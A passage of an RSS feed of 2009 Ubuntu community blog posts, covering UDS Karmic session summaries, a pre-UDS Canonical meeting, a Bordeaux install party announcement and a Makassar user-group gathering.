synchronisiert werden, habe ich nun sofort alle meine Kontakte auch auf meinem Handy. Und sollte ich mal einen neuen Kontakt nicht importiert haben, so kann ich jederzeit von überall über den <a title="Webling.ch - News" href="http://www.webling.ch/news.php" target="_blank">neuen</a> Webling Mobile Client auch per Handy auf alle Daten zugreifen. Sehr praktisch sag ich da nur!  <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (Auch wenn ich natürlich etwas voreingenommen bin.)</p>]]></description>
      <source url="http://blog.diener.li/feed">Carlos Diener - emonkey</source>
    </item>
    <item>
      <title>UDS Karmic &amp;#8211; Day One</title>
      <link>https://mgunes.wordpress.com/2009/05/26/uds-karmic-day-one/</link>
      <guid isPermaLink="true">https://mgunes.wordpress.com/2009/05/26/uds-karmic-day-one/</guid>
      <pubDate>Tue, 26 May 2009 11:45:43 GMT</pubDate>
      <description><![CDATA[<p>I&#8217;m in Barcelona to attend the Ubuntu Developer Summit for Karmic Koala, thanks to the kind sponsorship of Canonical, and I thought I&#8217;d use the last bit of  energy I have left from the first day to post short summaries of the sessions I attended.</p>
<h3>Increasing Apport Coverage</h3>
<p>This QA session was about increasing the coverage of the <a href="https://wiki.ubuntu.com/Apport">Apport</a> automated bug reporting tool. One obvious way to do this will be to increase the amount of <a href="https://wiki.ubuntu.com/Apport#Apport%20Hooks%20available">packages with Apport package hooks</a>, so the QA team will lead a drive to do exactly that. The target will be to make sure that packages to which a sampling (likely by a 50% reduction) of the last 1000 bugs  filed belong have hooks by the next release. The #1 blocker leading to the current situation where we have few packages with hooks was identified to be the fact that few people know that the feature exists at all or is useful to the extent that it actually is. Assuming that there&#8217;s a free time slot, a plenary tutorial will be held about this in an effort to remind attending developers and QA people of this relatively simple yet rather important task.</p>
<h3>Design and Usability Clinic</h3>
<p>This was a hands-on session where the Canonical Design and User Experience Team offered aid to people who needed design/UX advice for their projects in a &#8220;clinic&#8221; setting. After about quarter an hour of introductions and roundtable talk, the attendees divided up into several groups discussing usability issues in their respective projects. A nice and apparently improvised byproduct was the permanent &#8220;UX Clinic&#8221; table that got set up in the lounge, around which similar discussions went on intermittently in the rest of the day.</p>
<h3>Specialization Within Bug Control</h3>
<p>Having more specialist members on the Ubuntu Bug Control team has been a recurring wish. This session focused on the new mentoring program aimed at getting more specialist (and otherwise) people from the Bug Squad into the Bug Control team. Christophe Sauthier and Emmet Hikory from the MOTU team were present to share their experiences with the mentoring model at length, which was beneficial.</p>
<h3>Meet Your Users</h3>
<p>This design/UX session revolved around (I choose the term advisedly) the theme of &#8220;personas&#8221;, that is, hypothetical audience stereotypes whom Ubuntu should be designed for. The premise Ivanka Majic, the session lead, put forward was that basing design decisions on the requirements of the more &#8220;peripheral&#8221; users in terms of association and attachment to Ubuntu and free software would both cover various specialist bases, and ensure that the more central area which has requirements that are more homogeneous and already better catered for would be covered as well.</p>
<p>Attendees suggested various stereotypes along the lines of  &#8220;students&#8221;, &#8220;children&#8221;, &#8220;administrators&#8221; and &#8220;media producers&#8221; on post-it notes, part of which were later evaluated on scales according to criteria such as age, social status, influence level, cultural background, so on.</p>
<p>My only gripe with this session was paradoxically also the major highlight of it: the talk seemed to stay hung up in the air, with no real conclusion or points to act from (the Gobby server failing and the consequent lack of collective notes certainly didn&#8217;t help). Of course this was the start of what we hopefully all expect to be a long conversation; the abrupt interruption of time running out only underlined the hunger I felt, and felt that others also felt, for more in-depth discussion of the audience factor in free software design and usability, and that in itself is promising, given that it&#8217;s actually gaining traction in Ubuntu now. Had <a href="http://troy-sobotka.blogspot.com/">Troy Sobotka</a>, who has been an outspoken, if unforgiving, proponent of audience-aligned design in free software attended, he might have burst into tears of joy.</p>
<h3>Finding Tasks For New Developers</h3>
<p>Daniel Holbach this session, which focused on coming up with new means of offering &#8220;bitesize&#8221; work to new contributors to Ubuntu, mainly in the development area, which would further lower the barriers of entry and attract different sets of would-be contributors.</p>]]></description>
      <source url="https://mgunes.wordpress.com/tag/planet-ubuntu/feed/atom/">Murat Güneş</source>
    </item>
    <item>
      <title>Next Stop UDS</title>
      <link>https://dendrobates.wordpress.com/2009/05/20/next-stop-uds/</link>
      <guid isPermaLink="true">https://dendrobates.wordpress.com/2009/05/20/next-stop-uds/</guid>
      <pubDate>Wed, 20 May 2009 13:42:24 GMT</pubDate>
      <description><![CDATA[<p>All the Canonical folks are meeting this week prior to UDS.   We&#8217;ve already had some great discussions including:</p>
<p><span style="text-decoration:line-through;">Canonical Plan for World Domination</span></p>
<p>&#8212; text redacted &#8212;</p>
<p>(Sorry, if I told you, I&#8217;d have to kill you.)</p>
<p>Actually, it is a great time to see all our co-workers from across the globe.  However, I can&#8217;t wait for next week, when UDS starts.  UDS is a great time to see all of you, the people that make Ubuntu great.  Please come up to me and talk to me, even if I seem busy.  We are randomizing the tracks this UDS, so each track will move to a new room after each session.  There is no more hiding in a room and not meeting new people.  Please take advantage of it.  The F/OSS world is a <span style="text-decoration:line-through;">weird</span> diverse and interesting place, don&#8217;t let yourself miss any of it.</p>]]></description>
      <source url="https://dendrobates.wordpress.com/category/Ubuntu/atom">Rick Clark</source>
    </item>
    <item>
      <title>The Way to a new Ubuntu party for the Jaunty Jackalope</title>
      <link>http://kalon33.blogspot.com/2009/05/way-to-new-ubuntu-party-for-jaunty.html</link>
      <guid isPermaLink="true">http://kalon33.blogspot.com/2009/05/way-to-new-ubuntu-party-for-jaunty.html</guid>
      <pubDate>Tue, 05 May 2009 16:15:00 GMT</pubDate>
      <description><![CDATA[<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpHzldNCMRmQGcSyogO94onY5thQT_xeyt_gnb86pE99VJM9Gjrzg_C_lNecdDsu3OPXd7D0dNGPlsxm-vMYcitt5pXr7lqeMroiaQ-xSLTVkEdu4zaCgWT3_UZ8GBe0XpZelZTt950uBx/s1600-h/affiche_install_bordeaux_mai09.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 283px; height: 400px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpHzldNCMRmQGcSyogO94onY5thQT_xeyt_gnb86pE99VJM9Gjrzg_C_lNecdDsu3OPXd7D0dNGPlsxm-vMYcitt5pXr7lqeMroiaQ-xSLTVkEdu4zaCgWT3_UZ8GBe0XpZelZTt950uBx/s400/affiche_install_bordeaux_mai09.png" alt="" id="BLOGGER_PHOTO_ID_5332382332475771986" border="0" /></a><br />A new party is cooking at Bordeaux on May 23rd ! For the fifth edition, this time helped by the <a href="http://www.abul.org/">ABUL</a>, The <a href="http://www.giroll.org/">Giroll lug</a> perpetuates the tradition of cheerfulness which has made the reputation of its parties. It's also the time to be a little bit more ambitious, a little bit more one year before the Software Libre Meeting (a.k.a. RMLL) 2010 which will be held in our nice town of Bordeaux. In fact, this time we hope doing more stuff like Ubuntu discovery, Gaming using Linux... But keeping our webradio (see previous posts), our Free lunch (free as "Libre", as we also share cooking recipes of the meals we share at this lunch) and our Install Party. As usual, it starts around 10am at the <a href="http://www.giroll.org/spip.php?page=carte">ECM Saint-Pierre</a> and will finish a bit late (last time, at the public radio show, we finished at 2am... ;)). Conferences will be also organised by our partner ABUL at the Utopia Cinemas (100m from the ECM) the first one at 2pm and the second one at 3.30pm, about the Software Libre issues and consequences. The expended programme will be:<br /><br /><ul class="spip"><li class="spip"> <strong class="spip">10am:</strong> Welcome coffee for the early morning enthousiasts<br /></li><li class="spip"><strong class="spip">noon:</strong> Free Lunch, bring one or more of your meals and recipes to share them with us !<br /></li><li class="spip"><strong class="spip">2pm:</strong> Conference: <i class="spip">les enjeux du logiciel libre</i> (in french) by Pierre Jarillon at cinéma Utopia</li><li class="spip"><strong class="spip">3.30pm</strong>: Conference: <i class="spip">les enjeux du logiciel libre</i> (in french) by Pierre Jarillon at cinéma Utopia</li><li class="spip"><strong class="spip">4.30pm:</strong> Conference: Ubuntu Jaunty Jackalope (9.04) News by Nicolas Derive (kalon33, me ^^)</li><li class="spip"><strong class="spip">6.30pm:</strong> Start of the Radio-Giroll Show in live and in public.</li><li class="spip"><strong class="spip">All the day (10am-8pm or more):</strong> Install Party, Animations about Ubuntu discovery and Gaming, and some more depending on people expectations.</li></ul>We're hoping you will attend !!<br /><br />For more information, call or let us a message at +33581314334 or mail us at <span style="font-style: italic;">contact at giroll dot org </span><br /><br />French announcements are available <a href="http://www.giroll.org/spip.php?article78">here</a> and <a href="http://www.abul.org/Install-party-et-conference-sur-le.html">there</a> (Thanks to <a href="http://xieme-art.org/">Ephase</a> and ABUL)<br />Artwork from the poster (designed by Ephase) is available <a href="http://xieme-art.org/images/giroll/jauntyParty/matiere.svg">here</a> under <a href="http://creativecommons.org/licenses/by-sa/3.0/" hreflang="en">Creative-Commons 3.0 by-Sa</a> license. Please let us a comment and a link if you use it :)]]></description>
      <source url="http://kalon33.blogspot.com/feeds/posts/default">Nicolas Derive</source>
    </item>
    <item>
      <title>Ubuntu Makassar : KoPi Ngoprek 4.4</title>
      <link>https://kipas.wordpress.com/2009/04/26/ubuntu-makassar-kopi-ngoprek-44/</link>
      <guid isPermaLink="true">https://kipas.wordpress.com/2009/04/26/ubuntu-makassar-kopi-ngoprek-44/</guid>
      <pubDate>Sun, 26 Apr 2009 14:45:21 GMT</pubDate>
      <description><![CDATA[Makassar &#8211; Saturday Night 25 Apr 2009 at 19.30, Ubuntu Makassar [0] gathered in a circle [1] to try new features of Ubuntu 9.04 Jaunty Jackalope. We install and discuss about it. And we think that 9.04 is more light, faster, and have an interesting notification. In this gathering we also discuss about JRP (Jaunty [&#8230;]]]></description>
      <source url="https://kipas.wordpress.com/category/ubuntu/feed">Muhammad Takdir</source>
    </item>
  </channel>
</rss>
